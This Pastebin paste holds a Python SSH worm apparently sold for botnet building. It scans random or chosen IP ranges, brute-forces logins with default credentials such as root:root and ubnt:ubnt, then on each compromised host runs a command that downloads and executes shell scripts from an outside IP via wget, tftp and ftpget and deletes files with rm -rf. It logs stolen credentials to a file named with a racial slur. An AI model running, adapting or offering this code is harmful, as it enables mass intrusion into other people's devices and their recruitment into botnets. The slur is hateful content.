Guest User

Untitled

a guest
Apr 26th, 2018
40
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.28 KB | None | 0 0
  1. #!/usr/bin/env python
  2. import threading, paramiko, random, socket, time, sys
  3.  
  4. paramiko.util.log_to_file("/dev/null")
  5.  
  6. blacklist = [
  7. '127'
  8. ]
  9.  
  10. passwords = [
  11. "admin:admin"
  12. ]
  13.  
  14. if sys.argv[4] == '1':
  15. passwords = ["root:root"]
  16. if sys.argv[4] == '2':
  17. passwords = ["guest:guest"]
  18. if sys.argv[4] == '3':
  19. passwords = ["admin:1234"]
  20. if sys.argv[4] == '4':
  21. passwords = ["telnet:telnet","root:root","ubnt:ubnt"]
  22.  
  23. print "\x1b[1;33m************************************\x1b[1;35m"
  24. print "\x1b[1;32m* Thank You For Buying *\x1b[1;35m"
  25. print "\x1b[1;33m************************************\x1b[1;35m"
  26.  
  27. ipclassinfo = sys.argv[2]
  28. if ipclassinfo == "A":
  29. ip1 = sys.argv[3]
  30. elif ipclassinfo == "B":
  31. ip1 = sys.argv[3].split(".")[0]
  32. ip2 = sys.argv[3].split(".")[1]
  33. elif ipclassinfo == "C":
  34. ips = sys.argv[3].split(".")
  35. num=0
  36. for ip in ips:
  37. num=num+1
  38. if num == 1:
  39. ip1 = ip
  40. elif num == 2:
  41. ip2 = ip
  42. elif num == 3:
  43. ip3 = ip
  44. class sshscanner(threading.Thread):
  45. global passwords
  46. global ipclassinfo
  47. if ipclassinfo == "A":
  48. global ip1
  49. elif ipclassinfo == "B":
  50. global ip1
  51. global ip2
  52. elif ipclassinfo == "C":
  53. global ip1
  54. global ip2
  55. global ip3
  56. def run(self):
  57. while 1:
  58. try:
  59. while 1:
  60. thisipisbad='no'
  61. if ipclassinfo == "A":
  62. self.host = ip1+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  63. elif ipclassinfo == "B":
  64. self.host = ip1+'.'+ip2+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  65. elif ipclassinfo == "C":
  66. self.host = ip1+'.'+ip2+'.'+ip3+'.'+str(random.randrange(0,256))
  67. elif ipclassinfo == "BRAZIL":
  68. br = ["179.105","179.152","189.29","189.32","189.33","189.34","189.35","189.39","189.4","189.54","189.55","189.60","189.61","189.62","189.63","189.126"]
  69. self.host = random.choice(br)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  70. elif ipclassinfo == "ER":
  71. yeet = ["122","131","161","37","186","187","31","188","201","2","200"]
  72. self.host = random.choice(yeet)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  73. elif ipclassinfo == "LUCKY":
  74. lucky = ["125.27","101.109","113.53","118.173","122.170","122.180"]
  75. self.host = random.choice(lucky)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  76. elif ipclassinfo == "LUCKY2":
  77. lucky2 = [ "122.3","122.52","122.54","119.93" ]
  78. self.host = random.choice(lucky2)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  79. elif ipclassinfo == "LUCKY3":
  80. lucky2 = [ "103.20","103.30","103.47","103.57" ]
  81. self.host = random.choice(lucky2)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  82. elif ipclassinfo == "RAND":
  83. self.host = str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  84. elif ipclassinfo == "INTERNET":
  85. lol = ["1"]
  86. self.host = random.choice(lol)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  87. else:
  88. self.host = str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  89. for badip in blacklist:
  90. if badip in self.host:
  91. thisipisbad='yes'
  92. if thisipisbad=='no':
  93. break
  94. username='root'
  95. password=""
  96. port = 22
  97. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  98. s.settimeout(3)
  99. s.connect((self.host, port))
  100. s.close()
  101. ssh = paramiko.SSHClient()
  102. ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  103. dobreak=False
  104. for passwd in passwords:
  105. if ":n/a" in passwd:
  106. password=""
  107. else:
  108. password=passwd.split(":")[1]
  109. if "n/a:" in passwd:
  110. username=""
  111. else:
  112. username=passwd.split(":")[0]
  113. try:
  114. ssh.connect(self.host, port = port, username=username, password=password, timeout=3)
  115. dobreak=True
  116. break
  117. except:
  118. pass
  119. if True == dobreak:
  120. break
  121. badserver=True
  122. stdin, stdout, stderr = ssh.exec_command("/sbin/ifconfig")
  123. output = stdout.read()
  124. if "inet addr" in output:
  125. badserver=False
  126. if badserver == False:
  127. print '\x1b[1;32mINFECTING \x1b[1;37m '+self.host+' '
  128. ssh.exec_command("cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://194.67.199.126/bigdong.sh; chmod 777 bigdong.sh; sh bigdong.sh; tftp 194.67.199.126 -c get tftp1337.sh; chmod 777 tftp1337.sh; sh tftp1337.sh; tftp -r tftp1227.sh -g 194.67.199.126; chmod 777 tftp1227.sh; sh tftp1227.sh; ftpget -v -u anonymous -p anonymous -P 21 194.67.199.126 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bigdong.sh tftp1337.sh tftp1227.sh ftp1.sh; rm -rf *")
  129. nigger = open("niggers.txt", "a").write(username + ":" + password + ":" + self.host + "\n")
  130. time.sleep(15)
  131. ssh.close()
  132. except:
  133. pass
  134.  
  135. for x in range(0,1500):
  136. try:
  137. t = sshscanner()
  138. t.start()
  139. except:
  140. pass
Add Comment
Please, Sign In to add comment